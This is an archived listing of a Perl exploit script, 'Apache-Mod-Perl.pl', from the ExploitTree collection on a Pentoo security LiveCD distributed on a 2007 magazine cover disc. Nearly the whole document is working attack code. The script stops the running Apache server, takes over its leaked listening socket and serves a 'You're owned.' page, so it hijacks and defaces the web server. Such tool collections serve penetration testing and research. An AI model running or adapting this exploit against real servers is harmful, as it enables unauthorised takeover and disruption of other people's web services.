home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / apache / Apache-Mod-Perl.pl < prev    next >
Perl Script  |  2005-02-12  |  1KB  |  38 lines
  1. #!/usr/bin/perl
  2.  
  3. use POSIX qw(setsid);
  4.  
  5. if (!defined(my $pid = fork)) {
  6.         print "Content-Type: text/html\n\n";
  7.         print "cannot fork: $!";
  8.         exit 1;
  9. } elsif ($pid) { # This is the parent
  10.         sleep(1);
  11.         print "Content-Type: text/html\n\n";
  12.         print "<html><body>Exploit installed</body></html>";
  13.         system '/usr/sbin/httpd2 -k stop';
  14.         sleep(2);
  15.         exit 0;
  16. }
  17.  
  18. # This is the Child
  19. setsid;
  20. sleep(2);
  21. my $leak = 4;
  22. open(Server, "+<&$leak");
  23. while (1) {
  24.         my $rin = '';
  25.         vec($rin,fileno(Server),1) = 1;
  26.         $nfound = select($rout = $rin, undef, undef, undef);
  27.         if (accept(Client,Server) ) {
  28.                 print Client "HTTP/1.0 200 OK\n";
  29.                 print Client "Content-Length: 40\n";
  30.                 print Client "Content-Type: text/html\n\n";
  31.                 print Client "<html><body>";
  32.                 print Client "You're owned.";
  33.                 print Client "</body></html>";
  34.                 close Client;
  35.         }
  36. }
  37.  
  38.